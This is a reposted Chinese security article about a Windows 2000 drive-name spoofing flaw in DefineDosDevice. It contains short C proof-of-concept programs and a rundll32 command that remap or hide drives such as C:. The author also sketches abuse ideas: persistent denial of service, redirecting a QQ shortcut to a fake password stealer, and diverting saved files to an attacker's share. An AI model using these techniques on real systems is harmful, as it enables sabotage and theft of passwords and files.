DefineDosDevice设备名欺骗漏洞(缺陷) ,呵呵,和 subst相关

2024-02-21 14:58

本文主要是介绍DefineDosDevice设备名欺骗漏洞(缺陷) ,呵呵,和 subst相关,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

DefineDosDevice设备名欺骗漏洞(缺陷) (阅览<script src="http://www.20cn.net/cgi-bin/ns/count.cgi?id=20030810044700" type="text/javascript"> </script> 12701 次)

windows有一个叫"subst"的命令,这个命令可以将文件路径映射成驱动器,具体执行参数如下:

c:/>subst /?
将路径与驱动器号关联。

SUBST [drive1: [drive2:]path]
SUBST drive1: /D

drive1: 指定要指派路径的虚拟驱动器。
[drive2:]path 指定物理驱动器和要指派给虚拟驱动器的
路径。
/D 删除被替换的 (虚拟) 驱动器。

不加任何参数键入 SUBST,可以显示当前虚拟驱动器的清单。

这个程序是如何实现将文件路径映射成驱动器呢?先来研究一下。在system32目录下找到这个程序文件(测试环境是win 2000,下面所有的情况都是这对win 2000操作系统的),用W32Dasm将这个程序反汇编,得到输入函数列表,发现有一个KERNEL32.DLL中的函数DefineDosDeviceW(其实,用文本编辑软件打开,就可以看到所有的导入函数了),这个函数应该就是subst的关键了,在MSDN中找到了这个函数:

BOOL DefineDosDevice(
DWORD dwFlags, // 控制标志
LPCTSTR lpDeviceName, // MS-DOS 设备名
LPCTSTR lpTargetPath // 路径
);

实际操作后发现其中的路径参数并不是形如"c:/winnt"的格式,通过QueryDosDevice函数查询用subst命令建立的虚拟驱动器发现这个参数应为NT格式——"/??/c:/winnt"。关于win 9x/Me下未做测试。

使用"subst"命令时,你会发现这个命令是无法对一个已经存在的设备进行映射的,例如执行命令"subst c: d:/"(将路径"D:/"映射到"C:"):

c:/>subst c: d:/
无效参数 - C:

命令执行失败了,不过想来这也是理所当然的。可是直接调用DefineDosDevice函数却没有这个限制,这可是会引起很大的混乱。你完全可以用特殊的路径来代替一个已存在的驱动器来达到欺骗的目的,也可以"删除"(当然,并不是物理上的删除,但完全可以造成无法访问的假象)一个真实的驱动器。也许难以想象,当windows正在运行的时候,装有系统文件的C盘突然消失了……,不过这并不会造系统崩溃,因为windows以将所有要用的文件都加载到内存中了,但此时已经无法再打开桌面上的任何文件、快捷方式,无法弹出开始菜单中的任何子菜单……,真的是很奇妙的事情啊~~(不过要千万小心,我玩得太过火,使得outlook订的新闻组丢失,还好改注册表改回来了)。

以下代码在windows 2000 SP3 + VC 6.0下编译通过:

#include <windows.h>

int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)
{
if(!DefineDosDevice(DDD_RAW_TARGET_PATH,"C:","")) // 删除C盘
MessageBox(GetForegroundWindow(),"error !","Error",MB_OK);
return 0;
}

===================================================

#include <windows.h>

int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)
{
char device[1024];
QueryDosDevice("Z:",device,1024); // (驱动器Z是用"subst"虚拟的)来查询映射的路径
MessageBox(GetForegroundWindow(),device,"device name",MB_OK);
return 0;
}

===================================================

#include <windows.h>

int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)
{
// 将驱动器D映射成路径"c:/winnt",无论该驱动器是否已经存在
if(!DefineDosDevice(DDD_RAW_TARGET_PATH,"D:","//??//C://winnt"))
MessageBox(NULL,"error !","error",MB_OK);
return 0;
}

既然已经知道DefineDosDevice这个函数是在kernel32.dll中的,那么还可以用rundll32.exe来运行这个函数:

rundll32.exe kernel32.dll,DefineDosDeviceA 1,S:,/??/C:/Winnt


更糟糕的是这个函数还可以把网络路径映射成一个驱动器。如执行命令"subst z: //192.168.0.1/test"。不过这个映射的驱动器会在"我的电脑"里会显示出特殊的卷标,以及网络驱动器的图标。当然,还可以通过编程来实现替换一个已经存在的驱动器,代码如下:

#include <windows.h>

int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)
{
// 将驱动器C映射成UNC路径
char errortext[20];
if(!DefineDosDevice(DDD_RAW_TARGET_PATH,"C:","192.168.0.1//test"))
{
wsprintf(errortext,"Mapping driver failed: %d",GetLastError());
MessageBox(NULL,errortext,"error",MB_OK);
}
return 0;
}

由于这个漏洞的特殊性,其利用方式也是仁者见仁、智者见智的,全凭你的想象力了。我的想象力并不丰富,所以能想到的利用方法也只有以下几个:(感兴趣的朋友可以和我探讨一下,Email:tabris17@citiz.net,QQ:65485803)

1. 使windows拒绝服务:将对方的系统目录所在的驱动器"删除"。现象如上所说,只有重启了事,如果将命令加入启动组,对方可能就会郁闷致死。

2. 欺骗运行恶意程序:假设对方的QQ装在"D:/Program Files/Tencent"目录下,将对方"D:"映射到你精心设置的目录,目录下有"Program Files/Tencent"文件夹,若对方运行了桌面上的QQ快捷方式,便运行了你设置的路径下的QQ.exe,如果这是一个伪装QQ界面的偷密码的恶意程序的话,对方便会在不知情的情况下输入密码,你就可以偷到密码了(好像十分麻烦,不过只是一个思路)。

3. 欺骗获得对方文件:假设对方的Word软件正在编辑一个文档,你可以将保存文档的驱动器映射到你精心设置的共享目录下,然后当对方按下"保存"后,便会将文件保存到你的共享目录下。

解决方法:

你可以通过执行命令"subst"来显示所有的映射驱动器来预防欺骗。

===============================================
本文版权属20CN网络安全小组及其作者所有,如有转载,请保持文章完整性并注明出处
文章类型:原创 提交:四不象 核查:NetDemon

这篇关于DefineDosDevice设备名欺骗漏洞(缺陷) ,呵呵,和 subst相关的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/732165

相关文章

Redis的Zset类型及相关命令详细讲解

《Redis的Zset类型及相关命令详细讲解》:本文主要介绍Redis的Zset类型及相关命令的相关资料,有序集合Zset是一种Redis数据结构,它类似于集合Set,但每个元素都有一个关联的分数... 目录Zset简介ZADDZCARDZCOUNTZRANGEZREVRANGEZRANGEBYSCOREZ

SQL注入漏洞扫描之sqlmap详解

《SQL注入漏洞扫描之sqlmap详解》SQLMap是一款自动执行SQL注入的审计工具,支持多种SQL注入技术,包括布尔型盲注、时间型盲注、报错型注入、联合查询注入和堆叠查询注入... 目录what支持类型how---less-1为例1.检测网站是否存在sql注入漏洞的注入点2.列举可用数据库3.列举数据库

Linux使用fdisk进行磁盘的相关操作

《Linux使用fdisk进行磁盘的相关操作》fdisk命令是Linux中用于管理磁盘分区的强大文本实用程序,这篇文章主要为大家详细介绍了如何使用fdisk进行磁盘的相关操作,需要的可以了解下... 目录简介基本语法示例用法列出所有分区查看指定磁盘的区分管理指定的磁盘进入交互式模式创建一个新的分区删除一个存

关于Maven生命周期相关命令演示

《关于Maven生命周期相关命令演示》Maven的生命周期分为Clean、Default和Site三个主要阶段,每个阶段包含多个关键步骤,如清理、编译、测试、打包等,通过执行相应的Maven命令,可以... 目录1. Maven 生命周期概述1.1 Clean Lifecycle1.2 Default Li

numpy求解线性代数相关问题

《numpy求解线性代数相关问题》本文主要介绍了numpy求解线性代数相关问题,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧... 在numpy中有numpy.array类型和numpy.mat类型,前者是数组类型,后者是矩阵类型。数组

Redis的Hash类型及相关命令小结

《Redis的Hash类型及相关命令小结》edisHash是一种数据结构,用于存储字段和值的映射关系,本文就来介绍一下Redis的Hash类型及相关命令小结,具有一定的参考价值,感兴趣的可以了解一下... 目录HSETHGETHEXISTSHDELHKEYSHVALSHGETALLHMGETHLENHSET

python中的与时间相关的模块应用场景分析

《python中的与时间相关的模块应用场景分析》本文介绍了Python中与时间相关的几个重要模块:`time`、`datetime`、`calendar`、`timeit`、`pytz`和`dateu... 目录1. time 模块2. datetime 模块3. calendar 模块4. timeit

sqlite3 相关知识

WAL 模式 VS 回滚模式 特性WAL 模式回滚模式(Rollback Journal)定义使用写前日志来记录变更。使用回滚日志来记录事务的所有修改。特点更高的并发性和性能;支持多读者和单写者。支持安全的事务回滚,但并发性较低。性能写入性能更好,尤其是读多写少的场景。写操作会造成较大的性能开销,尤其是在事务开始时。写入流程数据首先写入 WAL 文件,然后才从 WAL 刷新到主数据库。数据在开始

如何编写Linux PCIe设备驱动器 之二

如何编写Linux PCIe设备驱动器 之二 功能(capability)集功能(capability)APIs通过pci_bus_read_config完成功能存取功能APIs参数pos常量值PCI功能结构 PCI功能IDMSI功能电源功率管理功能 功能(capability)集 功能(capability)APIs int pcie_capability_read_wo

两个月冲刺软考——访问位与修改位的题型(淘汰哪一页);内聚的类型;关于码制的知识点;地址映射的相关内容

1.访问位与修改位的题型(淘汰哪一页) 访问位:为1时表示在内存期间被访问过,为0时表示未被访问;修改位:为1时表示该页面自从被装入内存后被修改过,为0时表示未修改过。 置换页面时,最先置换访问位和修改位为00的,其次是01(没被访问但被修改过)的,之后是10(被访问了但没被修改过),最后是11。 2.内聚的类型 功能内聚:完成一个单一功能,各个部分协同工作,缺一不可。 顺序内聚: